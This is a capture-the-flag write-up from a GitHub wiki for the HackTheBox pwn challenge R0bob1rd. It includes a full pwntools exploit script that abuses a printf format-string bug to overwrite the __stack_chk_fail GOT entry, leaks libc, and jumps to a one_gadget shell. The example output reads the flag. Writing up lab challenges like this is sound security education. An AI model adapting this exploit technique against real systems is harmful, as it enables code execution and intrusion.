HTB R0bob1rd writeup - Pez1181/CTF GitHub Wiki
HTB Write-up: R0b0b1rd
Challenge Type: Pwn / Format String
Difficulty: Not too easy
Vulnerability: Format string + GOT overwrite
Protection Bypassed: Canary, NX, Partial RELRO
🔍 Recon
file r0bob1rd
# => ELF 64-bit, dynamically linked, not stripped
checksec r0bob1rd
# RELRO: Partial
# Canary: Found
# NX: Enabled
# PIE: No PIE
Execution shows a fun little bird menu:
./glibc/ld.so.2 --library-path ./glibc ./r0bob1rd
Output:
+----+------------------+
| ID | R0bob1rd Name |
+----+------------------+
| 0 | MechWings |
... snip ...
Select a R0bob1rd >
After choosing a bird, we are prompted to enter a description. This is where the vulnerability hides.
⚖️ Vulnerability Analysis
From reverse engineering operation()
:
char local_78[104];
...
fgets(local_78, 0x6a, stdin);
printf(local_78);
We have a classic printf(user_input)
vulnerability with no format string protection.
There is also a stack canary, and if it is overwritten, __stack_chk_fail()
is called.
Luckily, __stack_chk_fail
is in the GOT and writable due to Partial RELRO.
⚙️ Exploit Strategy
- Overwrite
__stack_chk_fail
tomain()
using a format string (so a crash loops us back) - Leak a libc address via
%3$p
- Calculate libc base from the leak
- Overwrite
__stack_chk_fail
to a one_gadget - Trigger a stack smash, which will call
one_gadget
via the hijacked GOT entry
🚀 Exploit Code (pwntools)
from pwn import *
# Set the binary context
context.binary = './r0bob1rd'
binary = ELF(context.binary.path, checksec=False)
# Launch the local process (for remote, comment out)
p = process(binary.path)
#p = remote('83.136.251.68', 30859)
# Resolve symbols
main = binary.sym.main # Address of the main function
stack_chk_fail = binary.got['__stack_chk_fail'] # GOT entry for __stack_chk_fail
# Set the buffer length and format string offset (determined via fuzzing)
buf_len = 104
offset = 8
# --- Stage 1: Overwrite __stack_chk_fail with address of main ---
# This makes the program restart instead of crashing when the canary check fails
p.sendlineafter(b'Select a R0bob1rd >', b'4')
# Format string to write main()'s address into __stack_chk_fail GOT entry
payload = fmtstr_payload(offset, {stack_chk_fail: main}, write_size='short')
payload = payload.ljust(buf_len, b'A') # Pad to buffer size
p.sendlineafter(b'>', payload)
# --- Stage 2: Leak a libc address ---
# Restarted binary will allow us to leak a libc pointer
p.sendlineafter(b'Select a R0bob1rd >', b'3')
# Leak a pointer from the stack using %3$p and pad to avoid crash
p.sendlineafter(b'>', b'%3$p' + b' '*25)
leak = int(p.recvline_startswith(b'0x7'), 16) # Parse leaked pointer
# Calculate libc base using known offset (fudge factor -23 included from testing)
libc_base = leak - 0x10e060 - 23
log.info(f"Leaked libc base: {hex(libc_base)}")
# --- Stage 3: Overwrite __stack_chk_fail with a one_gadget ---
# Now we aim for code execution: overwrite __stack_chk_fail with one_gadget
one_gadget = libc_base + 0xe3b01 # Offset found using `one_gadget` tool
p.sendlineafter(b'Select a R0bob1rd >', b'5')
payload = fmtstr_payload(offset, {stack_chk_fail: one_gadget}, write_size='short')
payload = payload.ljust(buf_len, b'A')
p.sendlineafter(b'>', payload)
# --- Stage 4: Trigger the overwritten __stack_chk_fail ---
# This will cause the one_gadget (shell) to be invoked
p.interactive()
🔌 Output Example
[+] Leaked libc base: 0x7f1c23d42000
[*] Switching to interactive mode
$ whoami
ctf-player
$ cat flag.txt
HTB{one_b1rd_many_st0nes}
🌟 Final Notes
- Using
__stack_chk_fail
is a brilliant target on Partial RELRO + Canary setups. - Format strings can both read and write memory — this exploit uses both.
- One GOT overwrite powers two separate hijacks: first to
main
, then to shell.
Mission complete. R0b0b1rd neutralised.